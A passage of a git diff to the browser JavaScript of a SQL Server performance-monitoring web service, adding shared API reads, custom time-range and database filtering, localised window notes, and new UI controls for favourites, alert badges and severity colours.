+  if (!desc || desc.windowNote === false || (desc.viz !== "table" && desc.viz !== "stat")) return null;
+  if (desc.noteKey === "truncation_note" || (desc.moreNoteKeys || []).includes("truncation_note")) return null;
+  const source = desc.floorKey ? getPath(data, desc.floorKey) : data;
+  if (!source || source.window_truncated !== true) return null;
+  const note = source.truncation_note;
+  return typeof note === "string" && note.trim() ? noticeStrip(note) : null;
+}
+
+/**
+ * A read's window note (`truncation_note`) in the page's own clock (#4966). The server writes the sentence with its
+ * instants in UTC, which is all an MCP client can use, but every time this page prints is in the browser's zone
+ * (localTime): a note above a grid that said "2026-01-02 00:00 UTC" mixed two clocks. So the answer also carries the
+ * instants as fields (`data_start_utc` or `oldest_shown_utc`, with `window_start_utc` and `window_end_utc`), and this
+ * composes the sentence again from them with localTime, the way keptWindowStrip composes its strip from `keptHours`.
+ * The Queries tab's notes (#4231) carry no such fields: the Query Store note names an instant only as the
+ * `effective_start` the answer already carries, so that instant is shown in the browser's zone inside the sentence.
+ * A field that is missing or unreadable, or a note that names no instant, draws the sentence as sent. Null when the
+ * answer carries no note.
+ */
+export function windowNoteText(data) {
+  if (!data || typeof data !== "object" || Array.isArray(data)) return null;
+  const sent = data.truncation_note;
+  if (typeof sent !== "string" || !sent.trim()) return null;
+  if (data.window_truncated !== true) return sent;
+
+  const at = (value) => (typeof value === "string" && parseUtc(value) ? localTime(value) : null);
+  const start = at(data.window_start_utc);
+  const end = at(data.window_end_utc);
+  const oldest = at(data.oldest_shown_utc);
+  const first = at(data.data_start_utc);
+  if (start && end && oldest) {
+    return (
+      "partial window: this grid shows only the newest rows, back to " + oldest + ", because it stops at its row limit. " +
+      "The window started at " + start + ". The grid covers " + oldest + " to " + end + "."
+    );
+  }
+  if (start && end && first) {
+    return (
+      "partial window: this panel's data starts at " + first + ", after the window's start at " + start + ". " +
+      "The panel covers " + first + " to " + end + "."
+    );
+  }
+
+  const effective = data.effective_start;
+  if (typeof effective === "string" && effective && parseUtc(effective) && sent.includes(effective)) {
+    return sent.split(effective).join(localTime(effective));
+  }
+  return sent;
+}
+
+/* The retention notice a Top Queries or Top Procedures answer carries for the Reads ranking (#5226), or null. Reads are ranked from raw, or
+   (#5329) from the io hourly rollup when that reaches the window's start or reaches further back than raw (the stitched hourly rollups keep no logical reads). When raw
+   answers, over a window past what raw keeps the answer says so in `retention_notice`: the raw
+   route's partial-window sentence, with the store's measured raw reach. The io route carries none; its partial window is `truncation_note`. It says what the answer's `truncation_note` says (the older part of
+   the window was not read), and it carries the figures. */
+function retentionNoticeOf(data) {
+  if (!data || typeof data !== "object" || Array.isArray(data)) return null;
+  const sent = data.retention_notice;
+  return typeof sent === "string" && sent.trim() ? sent : null;
 }
+
+/* A read's answer with its window note composed in the browser's zone (windowNoteText), so every strip that draws
+   `truncation_note` (the grids' floor note, the Queries tab's noteKey notes, the hand-built composites) shows one
+   clock. An empty envelope carries the note too, in its `data` (#4966: a grid that looked and found nothing says where its
+   data starts, so a new server's empty week does not read as a quiet one). Anything but a data or empty answer, and an answer
+   whose note is already as it should be, comes back as it is.
+
+   #5299: an answer that carries a `retention_notice` (the Reads ranking past raw's reach) has ONE window note, and it is that sentence:
+   it stands in the `truncation_note`'s place, so the grid draws it once instead of two near-identical lines (the floor sentence and the
+   retention notice both said the older part of the window was not read). Whoever draws `truncation_note` draws it, as text. */
+function localizeWindowNote(res) {
+  if (!res || (res.kind !== "data" && res.kind !== "empty")) return res;
+  const note = retentionNoticeOf(res.data) ?? windowNoteText(res.data);
+  return note === null || note === res.data.truncation_note ? res : { ...res, data: { ...res.data, truncation_note: note } };
+}
+
 export function loadingStrip(label) {
   return el("div", { class: "strip loading" }, [label || "Loading…"]);
 }
@@ -244,13 +369,17 @@ export function relTime(s) {
 }
 
 /** Compact axis label for a Date: HH:MM, widening to include the calendar date when `withDate` is set (the
- *  chart passes true whenever the domain's start and end fall on different calendar days). */
-export function axisTime(date, withDate) {
+ *  chart passes true whenever the domain's start and end fall on different calendar days). `withSeconds` adds the
+ *  seconds, for a window too short to give each tick its own minute (#5586). `withZone` adds the zone's short name ("EDT"),
+ *  for a window across a clock change, where one wall-clock hour happens twice (#5586). */
+export function axisTime(date, withDate, withSeconds = false, withZone = false) {
   if (!date) return "";
+  const time = withSeconds ? { hour: "2-digit", minute: "2-digit", second: "2-digit" } : { hour: "2-digit", minute: "2-digit" };
+  if (withZone) time.timeZoneName = "short";
   if (withDate) {
-    return date.toLocaleString([], { month: "numeric", day: "numeric", hour: "2-digit", minute: "2-digit" });
+    return date.toLocaleString([], { month: "numeric", day: "numeric", ...time });
   }
-  return date.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" });
+  return date.toLocaleTimeString([], time);
 }
 
 /**
@@ -267,6 +396,12 @@ export function axisTime(date, withDate) {
 export function windowFromHours(hours) {
   const h = Number(hours);
   if (!isFinite(h) || h < 1) return null;
+  /* A custom range's own reads span the exact pair the reader picked, not the whole hours they were fetched over. */
+  if (liveRange() && h === activeRange.hours) return { windowStart: activeRange.startMs, windowEnd: activeRange.endMs };
+  /* A read narrowed to the kept history draws the part of the custom range that history holds. */
+  if (liveRange() && h === activeRange.narrowedTo) {
+    return { windowStart: Math.max(activeRange.startMs, activeRange.endMs - h * 3600000), windowEnd: activeRange.endMs };
+  }
   const windowEnd = Date.now();
   return { windowStart: windowEnd - h * 3600000, windowEnd };
 }
@@ -376,11 +511,19 @@ export function getPath(obj, path) {
 
 /* ─────────────────────────── API fetch ─────────────────────────── */
 
-/** Build a query string from a params object, skipping null/undefined/empty values. */
+/** Build a query string from a params object, skipping null/undefined/empty values. An array is written as repeated keys
+ *  (`database_name=A&database_name=B`), one encodeURIComponent per item, and as nothing at all when it is empty (#5245):
+ *  a name that holds a comma, a bracket or a space is one key holding exactly that name, never several. Its items are
+ *  written as given, with no trim and no dropping, so a value the server cannot use is refused there instead of being
+ *  read as "all". An array used to serialize as ONE comma-joined value, and no caller passed one before this. */
 export function buildQuery(params) {
   if (!params) return "";
   const parts = [];
   for (const [k, v] of Object.entries(params)) {
+    if (Array.isArray(v)) {
+      for (const item of v) parts.push(encodeURIComponent(k) + "=" + encodeURIComponent(item));
+      continue;
+    }
     if (v == null || v === "") continue;
     parts.push(encodeURIComponent(k) + "=" + encodeURIComponent(v));
   }
@@ -391,10 +534,24 @@ export function buildQuery(params) {
    the poll loop (app.js refresh()) can tell whether the page it is about to re-render has already settled
    before firing a whole new set of the same reads on top of it. apiSendRead (a read that must travel as a POST,
    the composed-panel run) IS counted, so a slow panel holds the poll off and the refresh back-off measures it.
-   apiGetFleet and apiSend are deliberately NOT counted here — the fleet read is the one request every caller
-   already shares regardless of render (#3895), and a mutation is not a "page read" a poll tick should wait out. */
+   apiGetFleet IS counted too (each caller counts its own wait on the shared request), so a render whose reads are
+   fleet reads is timed for as long as it ran. apiSend is deliberately NOT counted: a mutation is not a "page read"
+   a poll tick should wait out. */
 let inFlightReads = 0;
 
+/* How many red error strips the page has drawn since it loaded (errorStrip counts each one). The page scheduler compares it before
+   and after a render, so the footer's "Updated" time moves only when the render ended without a red strip. It is counted where
+   the strip is drawn, not where a read fails: a read refused for a window wider than it takes (readWithinKeptHistory) is asked
+   again for the widest window, and a retry that answers draws data and a notice, so that first refusal is no fault of the page.
+   readErrorStrip turns the same refusal into a notice and does not call errorStrip. Aborted reads and a signed-out session
+   draw no strip and never count. */
+let readErrors = 0;
+
+/** The running count of red error strips drawn — see the counter comment above. */
+export function readErrorCount() {
+  return readErrors;
+}
+
 /** True while at least one apiGet/readTool call is outstanding — see the counter comment above. */
 export function hasInFlightReads() {
   return inFlightReads > 0;
@@ -427,6 +584,62 @@ export async function apiGet(path, signal) {
   }
 }
 
+/* The /api/read/ requests in flight right now, by path - see apiGetJoined. */
+const joinedReads = new Map();
+
+/**
+ * apiGet for a tool read, with ONE request shared by every caller that asks for the same path while it is in flight
+ * (#5489, the apiGetFleet idea for the tool reads). The Wait Stats tab asked for get_spinlock_stats twice in one load:
+ * the Spinlock Stats grid, and the Spinlock Trend picker that lists the same top spinlocks (the latch pair did the
+ * same). At 7 days on a large store that read took 3.0 s and 5.7 s, so the page paid for it twice. The second caller
+ * of a load now joins the first's request instead of sending its own.
+ *
+ * Nothing outlives the response: a caller that starts after it landed sends a fresh request, so no page renders an
+ * older answer than it would have. Each caller classifies (so parses) the shared body for itself, so every panel owns
+ * the rows it was handed. A caller's `signal` (#4191) cancels only that caller: it gets { kind: "aborted" } at once,
+ * and the request itself is cancelled only when no caller is left waiting on it.
+ */
+export async function apiGetJoined(path, signal) {
+  if (signal && signal.aborted) return { kind: "aborted" };
+  inFlightReads++;
+  let entry = null;
+  let onAbort = null;
+  try {
+    entry = joinedReads.get(path);
+    if (!entry) {
+      const controller = new AbortController();
+      const joined = { controller, waiters: 0, body: null };
+      joined.body = fetchBody(path, controller.signal).finally(() => {
+        if (joinedReads.get(path) === joined) joinedReads.delete(path);
+      });
+      joinedReads.set(path, joined);
+      entry = joined;
+    }
+
+    entry.waiters++;
+    const cancelled = new Promise((resolve) => {
+      if (!signal) return;
+      onAbort = () => resolve(null);
+      signal.addEventListener("abort", onAbort, { once: true });
+    });
+    const shared = await Promise.race([entry.body, cancelled]);
+    if (!shared || shared.aborted) return { kind: "aborted" };
+    if (shared.transportError) return { kind: "error", message: shared.transportError };
+    return await classifyResponse({ ok: shared.ok, status: shared.status, text: async () => shared.raw });
+  } finally {
+    if (signal && onAbort) signal.removeEventListener("abort", onAbort);
+    if (entry) {
+      entry.waiters--;
+      if (entry.waiters === 0 && joinedReads.get(path) === entry) {
+        /* Nobody is waiting: stop the fetch, and let the next caller start a fresh one. */
+        joinedReads.delete(path);
+        entry.controller.abort();
+      }
+    }
+    inFlightReads--;
+  }
+}
+
 /* The /api/fleet request every caller in flight at the same moment shares — see apiGetFleet. */
 let fleetRequest = null;
 
@@ -442,24 +655,30 @@ let fleetRequest = null;
  * classifies (so parses) the shared body for itself, so every page still owns the cards it was handed.
  */
 export async function apiGetFleet() {
-  if (!fleetRequest) {
-    fleetRequest = fetchBody("/api/fleet").finally(() => {
-      fleetRequest = null;
-    });
-  }
+  inFlightReads++;
+  try {
+    if (!fleetRequest) {
+      fleetRequest = fetchBody("/api/fleet").finally(() => {
+        fleetRequest = null;
+      });
+    }
 
-  const shared = await fleetRequest;
-  if (shared.transportError) return { kind: "error", message: shared.transportError };
-  return classifyResponse({ ok: shared.ok, status: shared.status, text: async () => shared.raw });
+    const shared = await fleetRequest;
+    if (shared.transportError) return { kind: "error", message: shared.transportError };
+    return classifyResponse({ ok: shared.ok, status: shared.status, text: async () => shared.raw });
+  } finally {
+    inFlightReads--;
+  }
 }
 
 /** Fetch a path and read its whole body once, for a response several callers classify. A failure comes back as a
     value rather than a rejection, so one lost request cannot surface as an unhandled rejection per caller. */
-async function fetchBody(path) {
+async function fetchBody(path, signal) {
   try {
-    const resp = await fetch(path, { headers: { Accept: "application/json" } });
+    const resp = await fetch(path, { headers: { Accept: "application/json" }, signal });
     return { ok: resp.ok, status: resp.status, raw: await resp.text() };
   } catch (e) {
+    if (e && e.name === "AbortError") return { aborted: true };
     return { transportError: "Network error: " + (e && e.message ? e.message : String(e)) };
   }
 }
@@ -488,6 +707,55 @@ export async function apiSend(method, path, body) {
   return classifyResponse(resp);
 }
 
+/**
+ * Send a MUTATING request and hand back what the server said, the HTTP status and the parsed body both, for a caller
+ * that branches on the status AND the body's status word (#5240: the Admin page's server edit answers a stale token
+ * and a taken address with the same 409 and tells them apart by the word; apiSend drops a non-2xx body, so it cannot).
+ * It is the transport Manage Tags' write always had, lifted here with its behaviour unchanged:
+ *   { status, body }                    - the answer. `body` is the parsed JSON, or null when the text is not JSON (an
+ *                                         empty body included). A 400, 404, 409, 429, 500 and the rest come back this way.
+ *   { status: 0, body: null, message }  - no answer at all (a network error); `message` is "Network error: ..."
+ *   { status, body, expired: true }     - the session is gone: a 401, or a 2xx whose text is not JSON at all (a sign-in
+ *                                         page in front of the API, or an empty body). The shell has been told once
+ *                                         (reportSessionExpired, with the house message and "/", never the body's own
+ *                                         login), so the caller drops what it has open and shows no success. This is
+ *                                         stricter than apiGet, which reads an empty 2xx as data.
+ *   { status, body, unexpected: true }  - a 2xx whose text IS JSON but not a JSON object (an array, a string, a number, null).
+ *                                         A sign-in page is never valid JSON, so this is not the session going; it is an
+ *                                         answer no write of this service gives (#5356). The shell is NOT told: the caller
+ *                                         keeps what it has open and says so, and shows no success.
+ * Like apiSend it ALWAYS declares Content-Type: application/json, which the server demands of a mutation (a 415
+ * otherwise; it is what forces a CORS preflight on a cross-origin write), and it counts as no in-flight read.
+ * An undefined body sends none.
+ */
+export async function apiWrite(method, path, body) {
+  let resp;
+  try {
+    resp = await fetch(path, {
+      method,
+      headers: { Accept: "application/json", "Content-Type": "application/json" },
+      body: body === undefined ? undefined : JSON.stringify(body),
+    });
+  } catch (e) {
+    return { status: 0, body: null, message: "Network error: " + (e && e.message ? e.message : String(e)) };
+  }
+  let parsed = null;
+  let isJson = false;
+  try {
+    parsed = JSON.parse(await resp.text());
+    isJson = true;
+  } catch {
+    parsed = null;
+  }
+  const succeeded = resp.status >= 200 && resp.status < 300;
+  if (resp.status === 401 || (succeeded && !isJson)) {
+    reportSessionExpired("Your session has expired. Sign in again.", "/");
+    return { status: resp.status, body: parsed, expired: true };
+  }
+  if (succeeded && (parsed === null || typeof parsed !== "object" || Array.isArray(parsed))) return { status: resp.status, body: parsed, unexpected: true };
+  return { status: resp.status, body: parsed };
+}
+
 /** #4666: a READ that has to travel as a POST (the composed-panel run, /api/compose/run). Counted in inFlightReads
     exactly like apiGet, so the poll's overlap guard (#4191) waits it out and the refresh back-off measures the render
     that contains it. Mutations (saves, deletes, alert validate/test) keep using apiSend, uncounted. */
@@ -518,7 +786,7 @@ export function onSessionExpired(fn) {
   sessionExpiredListeners.push(fn);
 }
 
-function reportSessionExpired(message, login) {
+export function reportSessionExpired(message, login) {
   if (sessionExpired) return;
   sessionExpired = true;
   for (const fn of sessionExpiredListeners) fn(message, login);
@@ -564,7 +832,7 @@ async function classifyResponse(resp) {
 
   if (!resp.ok) {
     const msg = body && typeof body.error === "string" ? body.error
-      : isEnvelope ? body.message
+      : isEnvelope ? plainText(body.message)
       : "Request failed (HTTP " + resp.status + ")";
     return { kind: "error", message: msg, status: resp.status };
   }
@@ -573,9 +841,11 @@ async function classifyResponse(resp) {
      Data payloads never carry a top-level message, so this never misfires on real data. */
   if (isEnvelope) {
     if (body.status === "error" || body.status === "invalid") {
-      return { kind: "error", message: body.message, status: resp.status };
+      return { kind: "error", message: plainText(body.message), status: resp.status };
     }
-    return { kind: "empty", status: body.status, message: body.message, hints: body.hints || null, data: body };
+    /* The message is the one the page shows: the service wrote it for an MCP client, so its internal names are put into
+       words here (click-through 3 and 4). The envelope itself, in `data`, stays as the service sent it. */
+    return { kind: "empty", status: body.status, message: plainText(body.message), hints: body.hints || null, data: body };
   }
 
   if (resp.ok && raw && body === null) {
@@ -634,5 +904,233 @@ export function alertDeliveryState(a) {
 
 /** GET a read-only tool by its MCP name with query-string params. `signal` — see apiGet (#4191). */
 export function readTool(tool, params, signal) {
-  return apiGet("/api/read/" + tool + buildQuery(params), signal);
+  const plan = planCustomRange(tool, params);
+  return apiGetJoined("/api/read/" + tool + buildQuery(withDatabaseFilter(tool, plan.params)), signal)
+    .then(localizeWindowNote)
+    .then((res) => finishCustomRange(res, plan));
+}
+
+/* ─────────────────────────── custom range (server page) ─────────────────────────── */
+
+/* The server page's custom start/end, or null for a preset. The page sets it before it builds a tab and clears it for
+   a preset and when the reader leaves the server page. It is applied here, to every read, so the ~100 `hours: ctx.hours`
+   call sites on the server tabs need no change: a read of the active server whose `hours` is the range's own whole-hour
+   count and that names no `as_of` is anchored at the range's end (`as_of`), and its rows are trimmed to the exact pair
+   afterwards. The window the read covers is then [end - hours, end], which starts at or before the picked start. */
+let activeRange = null;
+
+/** `{ server, hours, startMs, endMs, asOf }` for the page's custom range, or null to go back to the presets. `asOf` is
+ *  null for a range that ends now: its reads then name no `as_of` and the server anchors them at its own clock, and only
+ *  the start of the trim applies. */
+export function setActiveRange(range) {
+  activeRange = range || null;
+}
+
+/* The wait the Active Queries grid is filtered to, per server (#5235): set when a wait row or the wait trend chart opens
+   Active Queries at that wait. In memory only, like activeRange: not persisted and not in the URL, so a reload or a pasted
+   link shows every active query. A blank wait deletes the entry. */
+const queryWaitFilters = new Map();
+
+/** The wait type server `server`'s Active Queries grid is filtered to, or "" when it shows every query. */
+export function queryWaitFilter(server) {
+  return queryWaitFilters.get(server) || "";
+}
+
+/** Filter server `server`'s Active Queries to wait `w`; a blank (or non-text) `w` clears the filter. */
+export function setQueryWaitFilter(server, w) {
+  const v = typeof w === "string" ? w.trim() : "";
+  if (v === "") queryWaitFilters.delete(server);
+  else queryWaitFilters.set(server, v);
+}
+
+/** Whether wait `w` gets a link to Active Queries (#5235): any named wait except Query Store's QDS_* waits, which are the
+ *  background tasks' own and never a request's wait at a capture. The wait rows and the wait trend chart's menu item both
+ *  ask this, so the two cannot disagree. */
+export function waitIsLinked(w) {
+  const v = typeof w === "string" ? w.trim() : "";
+  return v !== "" && !/^QDS_/i.test(v);
+}
+
+/* The windowed reads that take no `as_of` (the catalog's `hours` without an `as_of`): they keep answering "the last N
+   hours ending now", and say so. Every other windowed read takes `as_of`. WebServerPageRangeTests pins this list
+   against the read catalog. */
+const READS_WITHOUT_AS_OF = new Set(["get_fleet_overview", "get_read_latency", "get_slow_reads", "get_finops", "get_store_query_history"]);
+
+/* The row fields that stamp one sample, event or run at an instant. A list under a read's answer whose rows carry one of
+   these is cut to the exact range. Fields that say when something last happened (last_execution_time and its kin, and
+   the captured_at / measured_at that some aggregate reads stamp with their LAST sample) are left alone: those rows are
+   totals over the window, not points in it. */
+const INSTANT_FIELDS = ["sample_time", "time", "collection_time", "event_time", "occurred_at", "deadlock_time", "change_time", "time_bucket", "run_time"];
+
+/* The range belongs to the server page: a read from any other page is never anchored by it. */
+function liveRange() {
+  const hash = typeof location !== "undefined" && location && typeof location.hash === "string" ? location.hash : "";
+  return activeRange && (hash === "" || hash.startsWith("#/server/")) ? activeRange : null;
+}
+
+/** A string that changes when the page's custom range does (its end and span), for a panel that caches a read per window. */
+export function activeRangeStamp() {
+  const range = liveRange();
+  return range ? [range.server, range.hours, range.asOf || ""].join("|") : "";
+}
+
+/* Marks the retry readWithinKeptHistory sends for fewer hours, with the hours the read first asked for. */
+const NARROWED_FROM = Symbol("narrowedFrom");
+
+function planCustomRange(tool, params) {
+  const range = liveRange();
+  const narrowedFrom = params ? params[NARROWED_FROM] : undefined;
+  const asked = narrowedFrom != null ? Number(narrowedFrom) : Number(params && params.hours);
+  if (!range || !params || params.server !== range.server || asked !== range.hours || params.as_of != null) {
+    return { params, range: null, ignored: false };
+  }
+  if (READS_WITHOUT_AS_OF.has(tool)) return { params, range: null, ignored: true };
+  const withEnd = range.asOf ? { ...params, as_of: range.asOf } : params;
+  if (narrowedFrom == null) return { params: withEnd, range, ignored: false };
+  /* The kept-history retry: the same end, the hours the store keeps, and only the part of the range those hours reach. */
+  const kept = Number(params.hours);
+  range.narrowedTo = kept;
+  return { params: withEnd, range: { ...range, startMs: Math.max(range.startMs, range.endMs - kept * 3600000) }, ignored: false, narrowed: true };
+}
+
+function finishCustomRange(res, plan) {
+  if (plan.ignored) return res && (res.kind === "data" || res.kind === "empty") ? { ...res, presetHours: Number(plan.params.hours) } : res;
+  if (plan.narrowed && res && (res.kind === "data" || res.kind === "empty")) res = { ...res, keptCustom: true };
+  if (!plan.range || !res || res.kind !== "data") return res;
+  return { ...res, data: trimToRange(res.data, plan.range.startMs, plan.range.asOf ? plan.range.endMs : Infinity, 0) };
+}
+
+function trimToRange(node, startMs, endMs, depth) {
+  if (!node || typeof node !== "object" || Array.isArray(node) || depth > 2) return node;
+  let out = node;
+  for (const [key, value] of Object.entries(node)) {
+    let next = value;
+    if (Array.isArray(value)) {
+      const first = value.find((r) => r && typeof r === "object");
+      const field = first ? INSTANT_FIELDS.find((f) => f in first) : null;
+      if (field) {
+        next = value.filter((r) => {
+          const at = r && parseUtc(r[field]);
+          return !at || (at.getTime() >= startMs && at.getTime() <= endMs);
+        });
+        if (next.length === value.length) next = value;
+      }
+    } else {
+      next = trimToRange(value, startMs, endMs, depth + 1);
+    }
+    if (next !== value) {
+      if (out === node) out = { ...node };
+      out[key] = next;
+    }
+  }
+  return out;
+}
+
+/* ─────────────────────────── database filter (server page) ─────────────────────────── */
+
+/* The server page's database filter (#5244, #5245), or null for none: `{ server, databases }`. The page sets it before it
+   redraws a panel and clears it when the reader leaves the server page, as it does the custom range. It is applied here, to
+   every FILTERED read of the active server (database-filter-reads.js), so the page's ~100 `readTool` call sites need no
+   change: readTool adds one `database_name` key per chosen database. dbScopeChip below says, per panel, whether it applied. */
+let activeDatabaseFilter = null;
+
+/** `{ server, databases }` for the page's database filter. `databases` is a list of names, kept exactly as given (never
+ *  trimmed, case-folded or split on commas: a name may hold a comma). No list, an empty list or no server is no filter. */
+export function setActiveDatabaseFilter(filter) {
+  const databases = filter && Array.isArray(filter.databases) ? filter.databases.slice() : [];
+  const server = filter && typeof filter.server === "string" ? filter.server : "";
+  activeDatabaseFilter = databases.length > 0 && server !== "" ? { server, databases } : null;
+}
+
+/** A copy of the filter set by setActiveDatabaseFilter, or null for none. It does not look at the page: the server page's
+ *  own code asks it for the chosen names (readTool and dbScopeChip also need the page to be a server page). */
+export function getActiveDatabaseFilter() {
+  return activeDatabaseFilter ? { server: activeDatabaseFilter.server, databases: activeDatabaseFilter.databases.slice() } : null;
+}
+
+/* The filter belongs to the server page: a read or a panel on any other page is never touched by it. */
+function liveDatabaseFilter() {
+  const hash = typeof location !== "undefined" && location && typeof location.hash === "string" ? location.hash : "";
+  return activeDatabaseFilter && hash.startsWith("#/server/") ? activeDatabaseFilter : null;
+}
+
+/* Whether a read's own `database_name` names anything the query string would carry (buildQuery skips null, undefined, "" and
+   an empty array). */
+const namesADatabase = (value) => (Array.isArray(value) ? value.length > 0 : value != null && value !== "");
+
+/* The params a read goes out with: the chosen databases are added as an array (buildQuery writes it as repeated keys) only
+   when the page is a server page, the read is in FILTERED, `params.server` is the active server and the params name no
+   database of their own, so an explicit name wins. The caller's object is never changed. */
+function withDatabaseFilter(tool, params) {
+  const filter = liveDatabaseFilter();
+  if (!filter || !params || params.server !== filter.server || !FILTERED.has(tool) || namesADatabase(params.database_name)) return params;
+  return { ...params, database_name: filter.databases.slice() };
+}
+
+/* The deadlock reads are unfiltered by design: a deadlock spans several databases, and they are inside each graph. */
+const DEADLOCK_READS = new Set(["get_deadlock_trend", "get_deadlocks", "get_deadlock_detail"]);
+
+/**
+ * What a panel's database scope chip says, or null for no chip (#5244 D4). Only while a filter is active on the server page:
+ * an empty filter shows no chip anywhere. `read` is the panel's main read; `override` is the panel's own `dbScope` when one
+ * read feeds panels of different kinds ("server", "unfiltered" or "process-rows"), and wins over the read's class.
+ *   "filtered"     the read takes the filter
+ *   "unfiltered"   a database-scoped read that cannot take it, so it shows every database
+ *   "server"       the data has no database
+ *   "process-rows" the Deadlock Graphs panel: each graph whole, its process rows filtered in the browser
+ *   null           an identity read (the query drill and the seven plan-viewer reads), or a read no class names
+ */
+export function dbScopeState(read, override) {
+  if (!liveDatabaseFilter()) return null;
+  if (override === "server" || override === "unfiltered" || override === "process-rows") return override;
+  const scope = readScope(read);
+  return scope === "identity" ? null : scope;
+}
+
+/* Reads whose "no row" text names a missing snapshot: a filter that matches no database leaves the snapshot in place with an
+   empty `databases` list, so that text would be false. database-filter-reads.js stays pure data, so the sentence lives here. */
+const FILTERED_NO_ROW_READS = new Set(["get_database_config", "get_database_scoped_config", "get_query_store_health"]);
+
+/**
+ * The text a table panel shows when its read answered with no rows (#5244). Normally the panel's own `emptyText`. While a database
+ * filter is active and the read takes it, a snapshot-state text (get_database_config, get_database_scoped_config and
+ * get_query_store_health) is replaced by one that says the chosen databases have no row, because the snapshot itself exists:
+ * a server with no snapshot answers through the read's empty envelope instead, which never reaches this text.
+ */
+export function dbFilteredEmptyText(read, emptyText, override) {
+  if (!FILTERED_NO_ROW_READS.has(read) || dbScopeState(read, override) !== "filtered") return emptyText;
+  return "No database in the chosen databases has a row in this snapshot.";
+}
+
+/**
+ * The chip for dbScopeState(read, override), or null. It reuses the badge look (warning for "unfiltered", muted for "server")
+ * and tags itself with `data-db-scope`. A database name is only ever text here: the label is `el(..., { text })` and the
+ * title, which lists the names one per line, is set as an attribute, so no name is read as markup (R4).
+ */
+export function dbScopeChip(read, override) {
+  const state = dbScopeState(read, override);
+  if (state === null) return null;
+  const names = liveDatabaseFilter().databases;
+  const countText = (n) => (n === 1 ? "1 database" : n + " databases");
+  let text;
+  let title;
+  let look = "";
+  if (state === "filtered") {
+    text = names.length === 1 ? names[0] : countText(names.length);
+    title = names.join("\n");
+  } else if (state === "unfiltered") {
+    text = "All databases";
+    title =
+      "This panel's read cannot take the database filter, so it shows every database." +
+      (DEADLOCK_READS.has(read) ? " The databases are inside each deadlock graph." : "");
+    look = " band-Warning";
+  } else if (state === "process-rows") {
+    text = "Graphs: all; process rows: " + countText(names.length);
+    title = "Each graph is whole; process rows outside the chosen databases are hidden.";
+  } else {
+    text = "Server-wide";
+    title = "This data has no database, so the filter does not apply.";
+    look = " engine";
+  }
+  return el("span", { class: "badge db-scope db-scope-" + state + look, title, text, dataset: { dbScope: state } });
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local-ui.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local-ui.js
new file mode 100644
index 0000000000..8a49e5ece1
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local-ui.js
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The controls for the per-browser conveniences in viewer-local.js (#4843): the favourite star, the alert-count
+ * badge with its acknowledge click, the severity-colour settings and the sidebar collapse button. Text only, via
+ * el(); a stored colour reaches CSS only through viewer-local's #rrggbb check and a custom property, never markup.
+ */
+
+import { el, mount } from "./util.js";
+import {
+  SEVERITIES, DEFAULT_SEVERITY_COLORS, isFavorite, toggleFavorite, attentionFor, acknowledge, severityColor,
+  setSeverityColor, resetSeverityColors, applySeverityColors, isSidebarCollapsed, setSidebarCollapsed, onChange,
+} from "./viewer-local.js";
+
+/** Keeps a control inside a clickable row from also activating the row (a click, or Enter/Space on the button). */
+function inertToRow(node) {
+  node.addEventListener("keydown", (e) => e.stopPropagation());
+  return node;
+}
+
+/** The favourite star for a server: a real button, pressed when the server is a favourite. */
+export function favoriteStar(serverId, onToggled) {
+  const on = isFavorite(serverId);
+  const btn = el("button", {
+    type: "button",
+    class: "fav-star" + (on ? " on" : ""),
+    "aria-pressed": on ? "true" : "false",
+    title: on ? "Remove from favourites" : "Add to favourites",
+    "aria-label": on ? "Remove from favourites" : "Add to favourites",
+    text: on ? "\u2605" : "\u2606",
+    onClick: (e) => {
+      e.stopPropagation();
+      toggleFavorite(serverId);
+      if (onToggled) onToggled();
+    },
+  });
+  return inertToRow(btn);
+}
+
+/** The alert-count badge for a server, or null when it has nothing to show or is acknowledged. A click acknowledges. */
+export function alertBadge(serverId) {
+  const a = attentionFor(serverId);
+  if (!a.show) return null;
+  const btn = el("button", {
+    type: "button",
+    class: "alert-badge " + (a.critical ? "crit" : "warn"),
+    title: "Click to acknowledge: hides this count in this browser until a newer alert arrives",
+    "aria-label": a.count + " alerts, click to acknowledge",
+    text: a.count > 99 ? "99+" : String(a.count),
+    onClick: (e) => {
+      e.stopPropagation();
+      acknowledge(serverId);
+    },
+  });
+  return inertToRow(btn);
+}
+
+/** The sidebar collapse button; applies the stored state to the shell at once and keeps it in step. */
+export function initSidebarCollapse(appRoot, button) {
+  if (!appRoot || !button) return;
+  const sync = () => {
+    const c = isSidebarCollapsed();
+    appRoot.classList.toggle("sidebar-collapsed", c);
+    button.setAttribute("aria-expanded", c ? "false" : "true");
+    button.setAttribute("title", c ? "Show the sidebar" : "Hide the sidebar");
+    button.setAttribute("aria-label", c ? "Show the sidebar" : "Hide the sidebar");
+    button.textContent = c ? "\u00bb" : "\u00ab";
+  };
+  button.addEventListener("click", () => setSidebarCollapsed(!isSidebarCollapsed()));
+  onChange(sync);
+  sync();
+}
+
+/** The Alert Severity Colors settings: one colour input per severity and a reset, in a disclosure in the sidebar. */
+export function initSeverityColorSettings(host) {
+  if (!host) return;
+  applySeverityColors(document.documentElement.style);
+  const rebuild = () => {
+    applySeverityColors(document.documentElement.style);
+    mount(host, [
+      el("details", { class: "viewer-settings" }, [
+        el("summary", { text: "Alert severity colors" }),
+        ...SEVERITIES.map((sev) => {
+          const input = el("input", {
+            type: "color",
+            class: "sev-color-input",
+            value: severityColor(sev) || DEFAULT_SEVERITY_COLORS[sev],
+            "aria-label": sev + " color",
+          });
+          input.addEventListener("change", () => setSeverityColor(sev, input.value));
+          return el("label", { class: "sev-color-row" }, [el("span", { text: sev }), input]);
+        }),
+        el("button", { type: "button", class: "sev-color-reset", text: "Reset to defaults", onClick: () => resetSeverityColors() }),
+      ]),
+    ]);
+  };
+  /* A colour change re-applies the properties but must not rebuild the open disclosure under the picker. */
+  onChange(() => applySeverityColors(document.documentElement.style));
+  rebuild();
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js
